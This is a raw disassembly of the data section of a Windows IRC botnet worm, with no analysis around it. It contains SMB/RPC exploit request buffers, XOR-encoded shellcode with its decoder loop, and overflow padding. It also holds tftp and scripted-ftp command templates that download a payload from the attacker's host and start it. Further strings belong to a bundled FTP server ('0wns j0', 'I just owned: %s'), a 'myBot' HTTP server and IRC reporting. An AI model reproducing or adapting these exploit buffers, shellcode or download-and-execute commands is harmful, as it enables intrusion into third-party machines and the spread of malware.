dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_4347C8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+36Bo
; sub_40DE14+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dd 0
dword_434928 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+385o
; sub_40DE14+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dd 0
dword_434A88 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+39Fo
; sub_40DE14+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dd 0
dword_434BE8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40DE14+3B9o
; sub_40DE14+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
dword_434CB8 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_434D04 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_434D34 dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 3 dup(0)
dword_434D58 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_434D62: ; CODE XREF: .packed:00434D6Cj
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_434D62
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E31A+96o
aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E453+1D8o
align 4
aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E453+18Eo
align 10h
dword_434F10 dd 163h, 0 dword_434F18 dd 20804h, 0 dword_434F20 dd 2080Ah, 0 dword_434F28 dd 200F1001h, 0Ah, 1001802h, 0dword_434F38 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E71F+92o
; sub_418C7F+90o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .packed:0040EB69o
; .packed:0040EB7Cr
align 4
aExit db 'exit',0
align 4
word_4361DC dw 1 ; DATA XREF: sub_40E8C5+24r
; .packed:0040EA19r
align 10h
word_4361E0 dw 4 ; DATA XREF: sub_40E8C5+10r
align 4
aTftpISGetSStar db 'tftp -i %s get %s& start %s& exit',0 ; DATA XREF: .packed:0040EBF6o
align 4
aC db '%c',0 ; DATA XREF: .packed:0040EB84o
; .packed:0040EC22o
align 4
dword_43620C dd 0DFFh dword_436210 dd 0EBFFh dword_436214 dd 201h dword_436218 dd 20424652h, 2E333030h, 0A383030h, 0dword_436228 dd 2E646D63h, 657865h ; sub_41A413+21o
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40EF9D+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F23F+5CAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F23F+5A9o
align 10h
aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F23F+558o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F23F+546o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F23F+4EBo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F23F+4D3o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F23F+4C3o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F23F+4B2o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F23F+47Fo
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F23F+43Bo
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F23F+402o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F23F+3D4o
align 10h
aList_0 db 'LIST',0 ; DATA XREF: sub_40F23F+3C1o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F23F+386o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F23F+373o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F23F+363o
aI_0: ; DATA XREF: sub_40F23F+34Fo
; .packed:0043A940o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F23F+328o
aA_0: ; DATA XREF: sub_40F23F+314o
; .packed:0043A94Co
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F23F+2FDo
; sub_40F23F+338o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F23F+2EDo
align 4
off_436454 dd offset dword_445750 ; DATA XREF: sub_40F23F+2D9o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F23F+2C9o
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F23F+2B5o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F23F+2A5o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F23F+291o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F23F+281o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40F23F+26Do
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F23F+25Do
align 4
aUser_1 db 'USER',0 ; DATA XREF: sub_40F23F+248o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40F23F+237o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F23F+1B9o
align 4
unk_4364EC db 2Dh ; - ; DATA XREF: sub_40F956+3D3o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_436514 db 0Dh,0Ah,0 ; DATA XREF: sub_40F956+2BEo
; sub_41ACA2+F2o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F956+258o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FD8C+97o
; sub_41B1FC+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FD8C+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FD8C:loc_40FDF7o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FD8C+64o
align 4
unk_436734 db 2Dh ; - ; DATA XREF: sub_40FF08+27Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_43676C db 2Dh ; - ; DATA XREF: sub_40FF08+20Ao
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_4367A0: ; DATA XREF: sub_40FF08+156o
unicode 0, <*>,0
aS_5 db '\%s',0 ; DATA XREF: sub_40FF08+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4101B7+64Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4101B7+61Do
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+58Eo
align 8
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4101B7+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_4106DAo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4101B7+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4101B7+476o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4101B7+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_410584o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4101B7+3C6o
align 10h
aSS_1 db '%s%s/',0 ; DATA XREF: sub_4101B7+379o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+335o
; sub_4101B7+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4101B7+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_4101B7+2DEo
; sub_4101B7+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4101B7+2B4o
aAm db 'AM',0 ; DATA XREF: sub_4101B7+293o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_4101B7+284o
align 4
a__ db '..',0 ; DATA XREF: sub_4101B7+231o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4101B7+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4101B7+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410923+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
unk_436C50 db 2Dh ; - ; DATA XREF: sub_410A44+14Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
align 10h
unk_436C90 db 2Dh ; - ; DATA XREF: sub_410A44+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_436CD8 db 2Dh ; - ; DATA XREF: sub_410BD4+157o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_436D18 db 2Dh ; - ; DATA XREF: sub_410BD4+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_436D5C db 2Dh ; - ; DATA XREF: sub_410E59+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_436D88 db 2Dh ; - ; DATA XREF: sub_410E59+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_436DB4 db 2Dh ; - ; DATA XREF: sub_410E59+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_410E59+172o
align 10h
unk_436DF0 db 2Dh ; - ; DATA XREF: sub_410E59+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_436E1C db 2Dh ; - ; DATA XREF: sub_41105E:loc_411090o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
unk_436E48 db 2Dh ; - ; DATA XREF: sub_41109F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 10h
unk_436E80 db 2Dh ; - ; DATA XREF: sub_4110CE+218o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_436EB8 db 2Dh ; - ; DATA XREF: sub_4110CE+1E8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0
align 8
unk_436EF8 db 2Dh ; - ; DATA XREF: sub_4110CE+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_436F3C db 2Dh ; - ; DATA XREF: sub_4110CE+106o
db 3, 34h, 2
db 72h ; r
